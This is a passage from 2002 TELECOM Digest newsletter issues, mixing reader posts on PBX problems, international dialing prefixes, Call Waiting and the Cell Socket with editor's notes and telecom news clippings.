the digital card, the VAR said. 3) We have to reboot the system when we want to add extensions and update other settings. So far, the ""Merge"" option has not worked for us. 4) The 4412D+ handsets are nice but they do not fit well into the cradle, and sometimes leave the phone off-hook! We have 3 30-port D-term modules and two analog modules. We also have Voicemail Pro with Phone Manager Lite. If there is other information I can provide please let me know. If there is another forum or website I should also be looking at, I'd appreciate that information, too. Thanks again, *TOM ------------------------------ Date: Mon, 09 Dec 2002 21:54:07 MST From: acuma@aztec.asu.edu (Chris N Acuma) Subject: Portable ATM's an Invitation to Fraud? I WENT TO THE TEMPE FESTIVAL OF THE ARTS THIS WEEK WHICH IS A 3 DAY ARTS FESTIVAL AND STREET FAIR THAT PUT ON IN DOWNTOWN TEMPE WHICH IS ATTENDED BY ABOUT 100,000 PEOPLE. I NOTICED MAYBE 30 PORTABLE ATM MACHINES THAT HAD BEEN MOVED TO THE STREETS OF DOWNTOWN TEMPE TO ALLOW PEOPLE TO WITH DRAW MONEY FROM THEIR BANKS AND SPEND AT THE FAIR. I INSPECTED THE ATM'S AND NOTICED THAT THEY HAD ALL HAD WHAT APPEARED TO BE CORDS TO SUPPLY THEM WITH 120 VOLTS OF POWER BUT I COULD NOT SEE ANY WIRES THAT APPEARED TO BE TELEPHONE WIRES TO ALLOW THE ATM'S TO CALL THEIR COMPUTERS AND VERIFY THE ACCOUNT BALANCES BEFORE HANDING OUT CASH. I SUSPECT THE ATM'S ARE EQUIPPED WITH EITHER CELL PHONES OR SOME OTHER FORM OF RADIO GEAR TO ALLOW THEM TO VERIFY BANK BALANCES. FIRST DOES ANYBODY KNOW HOW THESE PORTABLE ATM TALK TO THEIR REMOTE COMPUTERS? AND SECOND IF THEY USE RADIO WAVES I SUSPECT THATS AN OPEN INVITATION FOR FRAUD. ANY COMMENTS ON THAT? CHRIS ""Good intentions will always be pleaded for every assumption of authority. It is hardly too strong to say that the Constitution was made to guard the people against the dangers of good intentions. They promise to be good masters, but they mean to be masters."" -- Noah Webster ------------------------------ Subject: It Has Started: Re: dot kids, was Re: Ten TLD's Organization: io.com From: djmcdona@io.com (Daniel J McDonald) Date: Tue, 10 Dec 2002 12:26:04 -0600 In article , danny burstein wrote: > In Joey Lindstrom > writes: >> Aside to John Higdon. .kids doesn't exist. If you're going to be >> paranoid, at least have the grace to be paranoid about the real world. >> :-) > Some other posters made similar comments about "".kids"". However, the > current President Bush made a big deal of signing the ""dot kids > implementation"" legislation last week. > I'm not absolutely sure whether this is actually a "".kids"" tld, but it > looks like it. My hesitancy is from the following comment in the press > release: > ""Dot Kids will be part of the U.S. country domain > on the Internet."" I read an article that made it sound like Bush got fed up with ICAAN not giving him a TLD, so he created kids.us Fortunately, there is whois to give us the definitive word: [mcdonalddj@mcdonalddj-lnx mcdonalddj]$ whois kids.us Domain Name: KIDS.US Domain ID: D656961-US Sponsoring Registrar: REGISTRY REGISTRAR Domain Status: clientDeleteProhibited Domain Status: clientTransferProhibited Domain Status: clientUpdateProhibited Domain Status: inactive Registrant ID: NEUSTAR Registrant Name: NEUSTAR Registrant Address1: Loudoun Tech Center Registrant Address2: 45980 Center Oak Plaza Registrant City: Sterling Registrant State/Province: VA Registrant Postal Code: 20166 Registrant Country: United States Registrant Country Code: US Registrant Phone Number: +1.5714345757 Registrant Facsimile Number: +1.5714345758 Registrant Email: support@neustar.us Registrant Application Purpose: P1 Registrant Nexus Category: C21 Created by Registrar: REGISTRY REGISTRAR Last Updated by Registrar: REGISTRY REGISTRAR Domain Registration Date: Thu Apr 18 16:19:39 GMT 2002 Domain Expiration Date: Tue Apr 17 23:59:59 GMT 2007 Domain Last Updated Date: Thu Apr 18 16:19:46 GMT 2002 So, Someone has kids.us registered, and apparently has done so with the intent of being a registrar, and that someone is in Sterling, VA, right down the street from the capitol. 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Townson The Farce of National Branding (John Higdon) Listing in Areacode-Info.com & Telecom Digest (Daniel Baker) Re: Cordless - HELP (Scott Dorsey) Re: Listening In on My Home Phone Line (Scott Dorsey) Re: Wal-Mart Backs Away From DMCA Claim (Ron Chapman) Re: 011+ From NANP vs. 00+ From Most of World (Richard D G Cox) Re: 011+ From NANP vs. 00+ From Most of World (Paul Coxwell) Re: 011+ From NANP vs. 00+ From Most of World (John R. Levine) Cell Socket (Carol Farrar) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 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This shows up all the time. My sister was amused that she bought a washer and a dryer from two ostensibly unrelated companies. Imagine her surprise (and delight, actually) to discover that they matched perfectly. In fact, were it not for the different brand names, one would instantly presume that they were purchased as a matched set. Drive up the San Francisco peninsula sometime and you will see dozens of hotels near the airport. Then drive up two months later, and you will discover that the names of the hotels have been shuffled, as if the signs had magnetic backings and could changed like refrigerator magnets. What on earth could a brand name mean if next month the Crowne Plaza hotel sports a Sheraton logo? Brand names today are meaningless. Marketing types may think that the public puts stock in brands, but more and more people are waking up to the insignificance of brand names. When SBC runs a spot that talks about how it built the local telephone network, we all laugh. The network was built by the old AT&T, and then modernized by a California company, Pacific Telesis. SBC simply handed over cash for a going business. It built nothing. I do not credit Texans for doing anything in California, unless it would be for our current state budget deficit after cleaning our clock with energy scams. Pacific Bell, when it was owned by Pacific Telesis, a California company based right here in San Francisco, built the new Giants stadium with private money. As the major contributor, the company properly named the facility ""PacBell Park"". The name of the park is about to be changed to ""SBC Park"" (how catchy!). San Francisco loses yet another bit of history and landmark identification; SBC perpetuates its worthless and meaningless ""national brand name"". Even a spokeperson for SBC admitted on the radio today that ""SBC"", since the spinoff of Southwestern Bell Corporation, does not actually stand for anything. It is simply the stock exchange symbol. All we do in this country anymore is shuffle money. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Daniel Baker Subject: Listing in areacode-info.com and TELECOM Digest Date: Tue, 10 Dec 2002 14:29:25 -0600 Do you have an e-mail address for who controls/approves the data shown on www.areacode-info.com ? I'd like to suggest a website: www.telephoneservicedirectory.com that could be listed under Sites: Support & Directory Services and probably other places. The sites description is: U.S. Directories of: Local Telephone Service Providers (Local Exchange Carriers) AND Contractors who Add / Repair Inside Wiring & Jacks. I also have some advertising banners available at www.telephoneservicedirectory.com/banners.htm Dan Baker ------------------------------ From: kludge@panix.com (Scott Dorsey) Subject: Re: Cordless - HELP Date: 10 Dec 2002 15:43:24 -0500 Organization: Former users of Netcom shell (1989-2000) Shahrukh wrote: > I want a pair of a very small cordless ear phone (which can be placed > inside the ear, so that nobody can see it) and a very small cordless > mic (which can remain hidden behind my shirt) , which can communicate > to another unit or another pair of the same equipment. > Is it available. If so, from where can I get it ?? Sure, Vega can sell you a kit. So can Lectrosonics. So can a lot of the police communications guys. scott ""C'est un Nagra. C'est suisse, et tres, tres precis."" ------------------------------ From: kludge@panix.com (Scott Dorsey) Subject: Re: Listening In on My Home Phone Line Date: 10 Dec 2002 15:55:16 -0500 Organization: Former users of Netcom shell (1989-2000) mark wrote: > I need to listen to my home phone line through my computer.Is it > possible? I dont need to record just listen. Why do you want to use a computer then? scott ""C'est un Nagra. C'est suisse, et tres, tres precis."" ------------------------------ Date: Tue, 10 Dec 2002 16:30:48 -0500 From: Ron Chapman Subject: Re: Wal-Mart Backs Away From DMCA Claim In article , John Higdon wrote: >> But after a law clinic at the University of California at Berkeley >> stepped in and said it would represent FatWallet and fight the >> subpoena, Wal-Mart backed down. > I think the DMCA is going to inspire a lot of ""huff-n-puff"" legal > action. The Big Boys will try to intimidate little guys with threats > of legal action (and they may actually file some) hoping for instant > cave-in. The moment a small fry appears to have some legal resources > of his own, the bully will run off. The DMCA has provisions specifically to discourage this type of behavior, does it not? It *appears* that Wal Mart may have acted in haste, and that FatWallet could -- I say could -- have quite a fine time throwing these anti-frivolous provisions of the DMCA right back at Wal Mart. And given Wal Marts very large pockets and visibility in the retailing industry, FatWallet could end up very rich AND very famous for nipping that particular problem right in the bud. ------------------------------ Date: Tue, 10 Dec 2002 22:02:22 GMT From: Richard D G Cox Subject: Re: 011+ From NANP vs. 00+ From Most of World Reply-To: nospam@numbering.com Organization: Mandarin Technology Limited On Tuesday, 10 Dec 2002 at 01:23:19 (UT), Linc Madison wrote > it *IS* easy to discover the correct code, in the U.S. at least. To discover it: yes, easy ... to implement it: can be more difficult. Particularly when dealing with auto-dialling equipment. Look at the efforts that Microsoft had to put into getting accurate dialing-rule tables loaded into the more recent versions of its ""Windows"" products! >> I don't follow the bit about it being an international standard, > United States, Canada, Bahamas, Jamaica, Bermuda, British Virgin > Islands, Dominican Republic, Dominica, St. Vincent and the Grenadines, > Montserrat -- 19 countries and separate territories in all. I'd call > that ""international,"" but Europe seems to view it as simply ""America."" Understandable, only if you consider the wild mishmash of international prefix codes that USED to prevail across the world. A consensus did emerge, and many countries - EVEN INCLUDING the UK! - agreed to throw away their proprietary prefixes and implement the proposed standard prefix. Only a few countries disagreed. The 19 countries that Linc listed comprised most of them. > It would be absurd for the UK to change IDDD codes to 011, due to the > conflict with 0113 through 0119 domestic area codes. You would be able > to dial anywhere in the NANP, Africa, Greenland, Aruba, and the Faeroe > Islands. All other calls would be intercepted with a recording saying > something like, ""For Reading, press 1. For China, press 2."" Well, when 00 was proposed, the UK had many (both ""internal"" and E.164) codes that began with ""00"": such as 0066 for chatlines, 0073 for Paging, 0092 for Oxford, 0073 for Orpington, 0042 for Ogmore Valley and 0001 for Dublin. We had to change all those: and, as always happens, it takes time to change and ""sterilise"" the old ranges (""sterilise"" is the word we phone-numbering people use for curing callers of their habits of calling their regular numbers as they were before the changeover ;-)) Now to nit-pick ... there is no problem in the UK with Reading, as ALL numbers in Reading are in the formats (0)118 3xx xxxx/(0)118 9nx xxxx (where n#9) so as, according to WTNG - +83 and +89 are ""Unassigned"", there cannot possibly be any conflict. I would have thought that Linc (of all people) would have known that, and so would have chosen a more appropriate example to quote - such as Leeds/Belgium (0113-2);-)) Also, there has never been a UK number range 0119, nor is there any scope to create one under what passes for UK current numbering policy! But there is one overriding reason for having standardisation and that is the increasing use of the Internet. Web pages more commonly show people complete numbers to dial, and for that they have to include the international prefix. In other words, it is more important for people to be able to GIVE their OWN numbers in a format that can be dialled universally, than to avoid changing formats when you (physcially) visit a different country. A ""good"" example of this occurred a few years ago - the time when the dial-a-porn trade was advertising phoney phone numbers which suggested that calls would route to Guyana (the callers were certainly CHARGED at the rate for calls to Guyana). In most cases the people running the scam expected their calls to come from the USA, and so numbers were advertised on the webpages in the form ""011 592 5xxxxx"" - which was, to say the least, unhelpful for callers outside the NANPA. People in the UK saw webpages with these numbers, and started calling the numbers exactly as shown -- unaware that this was not exactly the providers' intention -- and so a small block of phone numbers serving the Beeston area of Nottingham started to receive some very odd phone calls ... at even odder hours of the day -- and night! Richard D G Cox Penarth, UK (+4429) ------------------------------ From: PaulCoxwell@aol.com Date: Tue, 10 Dec 2002 17:20:27 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World > The entire history of the CCITT/ITU shows its arrogant hostility > towards the United States. For example, because we had the gall to have > our telephone networks operated by privately held companies instead of > the government-run post office, we weren't even given a vote on many > issues! Linc, It's not just the ITU/CCITT that shows hostility toward America either. I'm afraid that many institutions in this part of the world somehow seem to feel that it is their right, maybe even their duty, to show the ""arrogant Americans"" the error of their ways and put them on the right road toward adopting ""world"" standards. (What they really mean is ""European standards"" or course -- Not the same thing.) The fact that whatever it is has been working quite satisfactorily in the U.S. for decades and that Americans see no need to change doesn't seem to occur to them. > Changing our four-way stops to traffic circles -- *THAT* would be > unnecessary, expensive, and extremely dangerous!! Well said, Sir! I've never understood the British passion here for installing traffic circles (""roundabouts"") all over the place. We have big ones, small ones, some that are just a small bump in the road, and some stretches of road where there is one of these tortuous systems every 200 yards or so. Totally unnecessary, and one of things that makes driving in the States a pleasure. > If you want a situation that is truly dangerous, take a look at the > traditional traffic circles in France. By law, traffic *entering* the > traffic circle had right-of-way over traffic *in* or *exiting* the > traffic circle. That's a recipe for wrecks and gridlock. France is in > the process of changing to the international standard, that traffic > entering the circle must yield to traffic already in the circle, but > the mess will take years to work out, as each circle has to be >re-signed individually. They seem to have just about finished now. Last time I was there I saw none of the old-style circles. To emphasize the priority rules, all the new junctions have yield signs at each road, reinforced by ""Vous n'avez pas la priorite"" signs below. But you still find places in towns where traffic emerging from a tiny side alley on your right has priority, even though you are on a main thoroughfare. > System, especially since we felt a bizarre compulsion to invent our own > fluid ounce and gallon. (One gallon is approximately 3.875 liters, that > being 128 fluid ounces of exactly 29.5735 ml each.) The U.S. gallon is actually the old British gallon from several centuries ago (I forget the exact date). I believe one of our distant monarchs decreed that the new Imperial gallon (4.546 liters) should become accepted measurement in England (something to do with measuring wine, IIRC) and it has been so firmly established ever since that most Brits assume that the U.S gallon was of American origin (in the same way as they regard terms such as ""gotten"" as being American ""corruptions"", when in fact it was in Britain in which they fell out of use). ------------------------------ Date: 10 Dec 2002 17:03:26 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: 011+ From NANP vs. 00+ From Most of World Organization: I.E.C.C., Trumansburg NY USA >> It's not always easy to discover the correct code. And it's >> unnecessary. When I'm away from home, I never direct dial long distance calls. I always use some kind of calling card. In North America, that means that I call an 800 number to get to the calling card system. Other places, it invariably means that I call some country-specific code, usually an 0800 number or something like that. Except in the rare cases where I'm using a local phone card to make the call (which I think I did once or twice in France), the international dialing prefix is irrelevant. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ Reply-To: From: Carol Farrar Subject: Cell Socket Date: Wed, 11 Dec 2002 17:11:47 -0500 I saw you talking about cell socket on the news groups and I have a couple of questions. One is that I bought one because it creates a dial tone. I wanted to be able to order movies off my Dish TV box with it. Won't do that. Also will make my plain phone ring but not my portable phone. Do you know why? Thanks, Carol [TELECOM Digest Editor's Note: Part of that is *intended* behavior. The Cell Socket (which Mike Sandman does *NOT* sell [he had planned on it but decided against it, not liking the company's terms]) is intended to allow the use of a 'regular' land line telephone in place of the cellular phone, while keeping the cellular phone charged and ready to go. It does not very well pass along tone signals to do other jobs, such as bank-by-phone, etc. With much patience it can be done sometimes. Usually the voicemail thing at the other end (DISH movie order lines, etc) times out before you can get Cell Socket to obey. I have gotten Cell Socket to pass through modem tones for a computer, but v-e-r-y slowly ... how's 110 or 300 baud sound? :( You can do computers with cellular phones or DISH or bank-by-phone with cellular (but using an actual cellular phone and its keypad). For computers, you seem to need a PCMCIA 'slot' on the computer with a specially built PCMCIA card to go in it, (the usual little credit card type thing, with a tiny antenna on the end which looks off into space and finds a cell tower it talks to. Even that only gets you real slow service (like 19.2 or with luck, 33.8 and cut offs now and then and computer freeze ups), but it will work. Cell Socket on the other hand won't work with any of those things. (I had tried just plugging a modular cord from a modem into the Cell Socket, letting the modem listen to the dial tone and proceed from there. That sometimes got me the 110 baud I mentioned). What the Cell Socket WILL do: Basically it acts like a 'handsfree' car adapter; it keeps the cell phone battery charged, let's you plug a 'real' telephone into it, (or a headset, or a speaker phone, or ??) and make calls at your leisure sitting elsehwere and not having to hold the cellular phone to your ear. In fact, when you pop the Nokia 5100 series phone in the Cell Socket, the phone display changes to say 'handsfree mode', and you see the battery charge icon shooting up and down as the battery charges. If you let the phone plug into the external antenna on the Cell Socket, you do get better coverage range and better 'sounding' conversation. Very smart guys have learned how to adapt Cell Socket to work as an 'external line' on a PBX; for example, where '9' gets you an outside line, '7' or '8' gets you the dialtone from the cell socket for example. Now wherever you have an extension on your PBX you can use the cell phone via Cell Socket. What else the Cell Socket WILL do: Any benefits you would get from using your cell phone are available to you. No one uses all of those three thousand minutes of overnight use. Very few people get totally free long distance (as most cell phones give). Most people are not in a position to sit hanging out their window with the phone angled a certain way to get decent reception. With Cell Socket and an external 5/8 wave antenna and three radials on it (Mike DOES sell the antenna for the 5100 series Nokia phones; [ http://www.sandman.com ]) you set the antenna in the best spot; then use the landline phone by your comfortable chair to make calls. Cell Socket does make dialtone, to guide you in making your outgoing call seem 'more natural' as you found out. (Cellphones are about the only type of telecommunication device for phone calls which does NOT 'make dialtone' normally.) You also noted that using Cell Socket, the new external phone does the ringing, instead of the cellphone. Personally, to me that is sort of a classy feature, especially if the phone you are using has a 'side ringer' which outputs a neat audible, like for example the old-style chimes that Bell System used twenty or thirty years ago. Where my Cell Socket sits with the antenna (in my bedroom) I cannot hear the cellphone itself ringing in my computer area. I *can* hear the bell on the phone I use instead. To each his own, I guess. I do not like to watch DISH pay per view movies (rip offs!) but I do like having my long distance bill being almost zero each month. Its too bad Mike's supplier of the Cell Socket had to be so cheap and difficult for Mike to work with. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Tue, 10 Dec 2002 17:59:24 -0500 From: Monty Solomon Subject: Verizon Wireless Sees Q4 Performance Similar to Q3 ORLANDO, Fla., Dec 10 (Reuters) - Verizon Wireless, the largest U.S. wireless telephone services company, said on Tuesday it expects to fare the same or slightly better in the current quarter than in the third quarter. - http://finance.lycos.com/home/news/story.asp?story=30475030 ------------------------------ Date: Tue, 10 Dec 2002 18:01:20 -0500 From: Monty Solomon Subject: PluggedIn: Holiday Deadlines Loom for Deal on Cell Phones By Yukari Iwatani CHICAGO, Dec 10 (Reuters) - Consumers in the market for a new cell phone may want to size up special holiday offers before many of them expire in the new year. This holiday season new phones, more minutes and more features, such as color screens, games and ring tones, are selling at prices not available six months ago. Consumers are also benefiting from increased competition in the wireless industry as companies vie to sign up new clients amid an industrywide slowdown in customer growth. Wireless operators are hoping they can jump-start demand for fancier phones and new types of services by offering discounts to create buzz among consumers who tend to choose phones according to basic calling features and pricing. The deals may be enticing -- even for those who are not in the market for a new phone. - http://finance.lycos.com/home/news/story.asp?story=30473296 ------------------------------ Date: Tue, 10 Dec 2002 18:30:25 -0500 From: Monty Solomon Subject: Wired News: Kiddie Cell Phones: Hot New Toy? By Elisa Batista 02:00 AM Dec. 10, 2002 PT Dear Santa: Forget Mattel, and bring on Nokia. As some parents already know, the hot item on many 8- to 12-year-olds' wish lists this holiday season isn't Barbie or a Hot Wheels car, but a cell phone. If a child in this age group doesn't already own a cell phone -- 21 percent of them do, according to research by SpectraCom -- he or she is likely part of the great majority pestering mom and dad for one. As Robert Butterworth, a Los Angeles psychologist, put it: ""Board games have become bored games for kids. http://wired.com/news/holidays/0,1882,56784,00.html ------------------------------ Date: Wed, 11 Dec 2002 01:54:20 -0500 From: Monty Solomon Subject: Apple's QuickTime Phones Japan By Stefanie Olsen Staff Writer, CNET News.com December 10, 2002, 5:49 PM PT Apple's QuickTime is poised to make headway as an audio and video delivery platform for mobile phones in Japan, with new standards-compatible software on its way and a fresh endorsement by leading wireless carrier NTT DoCoMo. In coming weeks, Apple will introduce a new version of its multimedia delivery system, QuickTime 6, with support for 3GPP, or 3rd Generation Partnership Project--telecommunications standards for mobile systems. 3GPP is built on the MPEG-4 standard for the delivery of digital audio and video to PCs, set-top boxes and wireless devices. http://news.com.com/2100-1023-976829.html ------------------------------ Date: Wed, 11 Dec 2002 01:56:37 -0500 From: Monty Solomon Subject: AOL Poised to Announce New Cable Deals By Jim Hu Staff Writer, CNET News.com December 10, 2002, 12:11 PM PT AOL Time Warner Chief Executive Richard Parsons said the media giant is ""close"" to announcing new deals with cable companies to offer America Online on broadband networks. Parsons, speaking at the UBS Warburg Media Week Conference in New York, would not name which companies AOL Time Warner is negotiating with, but added that a deal could solidify within the month. http://news.com.com/2100-1023-976749.html ------------------------------ Date: Wed, 11 Dec 2002 01:58:51 -0500 From: Monty Solomon Subject: Raided Firm's Software Checks Out By Michelle Delio 02:00 AM Dec. 10, 2002 PT Software designed by Ptech, a Massachusetts technology firm U.S. federal agents suspect might be linked to terrorist groups, does not appear to threaten national security. Federal agents raided the company's Quincy offices early Friday morning. Officials are investigating allegations that investors in the company also finance terrorist organizations. News of the raid sparked concerns that Ptech's software could have been engineered to allow attackers access to classified national-security data. The Army and Air Force, Congress, the White House, the Federal Aviation Administration and the FBI use the company's knowledge-management software. Initial reports indicate that Ptech's software was not engineered to allow attackers easy access to government databases. But security experts warned that while Ptech products might be safe, the raids highlight the need to secure systems from internal as well as external threats. http://www.wired.com/news/conflict/0,2100,56777,00.html ------------------------------ Date: Wed, 11 Dec 2002 02:03:44 -0500 From: Monty Solomon Subject: New Tools for Domestic Spying, and Qualms New Tools for Domestic Spying, and Qualms By MICHAEL MOSS and FORD FESSENDEN When the Federal Bureau of Investigation grew concerned this spring that terrorists might attack using scuba gear, it set out to identify every person who had taken diving lessons in the previous three years. Hundreds of dive shops and organizations gladly turned over their records, giving agents contact information for several million people. ""It certainly made sense to help them out,"" said Alison Matherly, marketing manager for the National Association of Underwater Instructors Worldwide. ""We're all in this together."" But just as the effort was wrapping up in July, the F.B.I. ran into a two-man revolt. The owners of the Reef Seekers Dive Company in Beverly Hills, Calif., balked at turning over the records of their clients, who include Tom Cruise and Tommy Lee Jones -- even when officials came back with a subpoena asking for ""any and all documents and other records relating to all noncertified divers and referrals from July 1, 1999, through July 16, 2002."" Faced with defending the request before a judge, the prosecutor handling the matter notified Reef Seekers' lawyer that he was withdrawing the subpoena. The company's records stayed put. http://www.nytimes.com/2002/12/10/national/10PRIV.html ------------------------------ Date: Wed, 11 Dec 2002 08:28:15 -0500 From: Monty Solomon Subject: Door Opens For Second News Corp DirecTV Bid By Sophie Hares SYDNEY, Dec 11 (Reuters) - After a year on the sidelines, Rupert Murdoch's News Corp Ltd is tipped to make a second tilt at Hughes Electronics Corp's (NYSE:GMH) DirecTV and finally grab the missing piece of its global satellite empire. With few rivals wielding the financial clout to throw up fresh offers after the collapse of EchoStar Communication Corp's (NASDAQ:DISH) $18 billion bid, News Corp could bide its time to hammer out a deal from Hughes' parent General Motors Corp (NYSE:GM). But funding any deal for control of the top U.S. satellite TV service without jeopardizing its credit ratings is likely to be a major challenge for News Corp, said analysts on Wednesday. - http://finance.lycos.com/home/news/story.asp?story=30484971 ------------------------------ Date: Wed, 11 Dec 2002 09:33:16 -0500 From: Monty Solomon Subject: Internet Filters Block Many Useful Sites, Study Finds Internet Filters Block Many Useful Sites, Study Finds By JOHN SCHWARTZ Teenagers who look to the Internet for health information as part of their ""wired generation"" birthright are blocked from many useful sites by antipornography filters that federal law requires in school and library computers, a new study has found. The filtering programs tend to block references to sex and sex-related terms, like ""safe sex,"" ""condoms,"" ""abortion,"" ""jock itch,"" ""gay"" and ""lesbian."" Although the software can be adjusted to allow access to most health-related Web sites, many schools and libraries ratchet up the software's barriers to highest settings, the report said. http://www.nytimes.com/2002/12/11/technology/11FILT.html ------------------------------ From: Gail M. Hall Subject: Call Waiting Prison and Telemarketers Date: Tue, 10 Dec 2002 18:17:14 -0500 Reply-To: gmhall@apk.net On Tue, 10 Dec 2002 09:24:06 -0700, in comp.dcom.telecom, message ID , Joey Lindstrom wrote: > I got a call last week from someone representing the CIBC, or Canadian > Imperial Bank of Commerce, of which I am already a customer: a > chequing account, a Visa, and an ""Entourage"" American Express card. I > was in the middle of a long distance call at the time and ... well, > the call quickly degenerated into an actual shouting match, something > I'd never experienced before with a telemarketer. I'll now paste in > the entire email that I sent to CIBC Customer Service immediately > after the call. Boy, it felt good to write it. :-) What is it about Call Waiting that seems to trap people into interrupting EVERY CALL to deal with that other person??!!!! Can't you punch a key or something to cause the Call Waiting beeps to stop and give the caller a busy signal so it would let you go on with your long-distance calls uninterrupted? I've been on the paying end of long-distance calls, and INVARIABLY if that other call beep comes in I get the ""Oh, there's another call coming in. I'll be right back."" I've even been on the non-paying end of the long-distance call, and the same thing happens. The caller, paying for the minutes I am on hold, is so trapped by that Call Waiting feature they seem to have no choice! If a call, even a local call is so important to you and you don't want to interrupt it, then DON'T answer the other call if you have Call Waiting! If your phone company provides a way to turn OFF Call Waiting while you are ON a call, then use it when you are on an important call. I agree with Joey that the bank's telemarketer did not handle this call well at all. Any sales person should know not to argue with a customer. I suspect that the bank's sales caller does not actually work for the bank but more likely works for some contractor that the bank has hired to make marketing calls. I think a real bank sales person would not have let things deteriorate so quickly. S/He could have offered to call again at a more convenient time or offered to send information in the mail about the offer. That's what our local KeyBank people do. On the other hand, I think Joey should have said to her politely and firmly that he was on another ""important"" call at the moment and not mentioned the ""no call"" request at that moment. The idea is to disconnect from the sales rep *as soon as possible* and GET BACK to your interrupted call. AFTER you are done with your long-distance call or important call, *then* you can contact your bank and talk to your own branch representative or manager and tell them what you need. It might involve adding a ""Do Not Call"" request to your information. Remember, too, that there are scammers out there who pretend to be from your bank or phone company but really are not. So I would not want to get mad at the bank or my phone company if they are victims of a scam along with me. I've NEVER had Call Waiting and don't miss it AT ALL! I hope Joey has not done too much damage to his reputation by sending off that angry e-mail! I think he would have been better off to talk to a local bank manager or representative that he KNOWS actually works for the bank and tell them what happened. Then he can ask who in authority at the bank he can write to (on paper with his own signature) to tell what happened and ask for the change in the call/no-call request. E-mail is not very secure. Giving out too much personal information in e-mail is risky. That's why I think sending a paper letter would be better. I agree with Joey about wanting to be called about problems with my current accounts, questions about possible fraud, etc. But I might not want to be called about yet another credit card. Let's get some good ideas going about how to handle Call Waiting. If a person pays for Call Waiting, then how about also having ""Voice mail"" at the phone company that will pick up the call if the beep is ignored. Let's stop being prisoners of that Call Waiting beep! Gail in Ohio USA [TELECOM Digest Editor's Note: Oftentimes, call waiting can be suspended by using *70 at the start of your outgoing call, or on incoming calls by doing flashhook *70 in mid-call. If you wait until a call waiting signal *then* do flashhook the result will be you then get the new call. So do it early on on incoming calls, as soon as you detect the call is important and you do not want another call to be dumped on you. Voicemail is NOT available on 620-331 for whatever reason, but I cheat a little, by having it on my cell phone (620-330) along with 'transfer on busy/no answer' on my main number. So if I either do *70 or forget to do that and let my phone continue ringing with a call waiting, in any event after three rings the call will be transferred to my cell phone for four or five more rings, then off to voicemail on the cell phone. My cell phone also has call-waiting, which may be a bit of an overkill for me, but the same thing happens there if I do not take an incoming call after four or five rings; off to voicemail. There is also a thing called 'distinctive ring call-waiting' which is a short double beep-beein instead of the usual 'longer' beep. I agree with Gail that Joey *should have* handled the call differently but some telemarketers are so ignorant the only thing they understand is a rough bark. I had some calls a couple days ago like that. The calls tripped the privacy manager condition, and 'pressing 1' to hear the callers name got me some telemarketer's name and number. I chose to respond by 'pressing 3' to have a pre-recorded message delivered to the caller saying 'I do not take telemarketing calls, please remove this number from your list'. I then hang up, and within about one minute more or less the phone rang again. It was Privacy Manager calling again, with the same person this time recording their 'name' as 'I am not selling anything'. I figured what the heck, let's see what the lady is doing if not selling anything. It turned out she was 'taking a survey of long distance carriers' and offering a free month of her carrier. After damning her to hell I slammed the phone down again. I have to admit for all its shortcomings, Privacy Manager does help a little. Instead of getting several calls each day now I only get one or two per week. PAT] ------------------------------ From: OT Subject: Re: Business Line vs Residential Line (in Kentucky) Organization: WEBUSENET.com Date: Tue, 10 Dec 2002 19:07:44 -0500 Back to your local phone company, They consider it a business line if you list it in the yellow pages or advertise it in anyway (billboard, business, or anything that a business would normally do to let their customers know the number.) Bob Travis wrote in message news:telecom22.161.14@telecom-digest.org: > Here is a question, when I move soon the local phone company (Alltech) > is a real stickler about making sure home businesses pay for a > business listing. When I last lived in this community (ten years ago) > I was really a full time employee of a company in another city in > Kentucky, so I had a paystub to prove it and all I had to do was lie > and say I commuted ninety miles to work every day. ------------------------------ From: Ed Ellers Subject: Re: 911 Availability (was 011+ From NANP vs. 00+ From Most of World) Date: Tue, 10 Dec 2002 22:42:37 -0500 wrote: > I know that when I was in Georgia a few years ago that many rural counties > in the state didn't have 911. > How much of America is still waiting for 911 service these days? Dunno, but if they have any kind of electronic switching, I'd bet that 911 calls go straight through to the LEC operator, who should know how to transfer them to police, fire or EMS services. I found that that was the case when my neighborhood was cut over to a 1A ESS twenty years ago, several years before 911 came in. ------------------------------ From: Rich Campbell Subject: Re: Avaya IP Office 406 Issues Organization: AT&T Broadband Date: Wed, 11 Dec 2002 04:11:19 GMT All I can say is WOW! And you are going to install this? Rich This Old Man wrote in message news:telecom22.174.13@telecom-digest.org: > Hello, > We just got a new IP Office 406 system in our office in San Jose, > CA. I'm in IT and will help manage the system. We have complete > support from a local VAR for one year, however this is the first > implementation for IP Office so they are learning, too. > So far our major issues are: > 1) Dial-by-name directory not delivered from Avaya. Our VAR said Avaya > said maybe next week it will be ready. > 2) Programming DSS buttons crashes the system. Our VAR said Avaya said > this is a known problem and they are working on it. What we are trying > to accomplish is, for example, I want to be able to answer the phone > of my assistants extension and I want it to actually ring on my phone. > On our old NEC system it was an appearance light on the phone. Our > VAR said I had to use DSS, but 1) the phone does not actually ring - > the line only flashes, and 2) it crashes the system, or actually the > digital card, the VAR said. > 3) We have to reboot the system when we want to add extensions and > update other settings. So far, the ""Merge"" option has not worked for > us. > 4) The 4412D+ handsets are nice but they do not fit well into the > cradle, and sometimes leave the phone off-hook! > We have 3 30-port D-term modules and two analog modules. We also have > Voicemail Pro with Phone Manager Lite. > If there is other information I can provide please let me know. If > there is another forum or website I should also be looking at, I'd > appreciate that information, too. ------------------------------ Date: Wed, 11 Dec 2002 19:08:44 EST From: 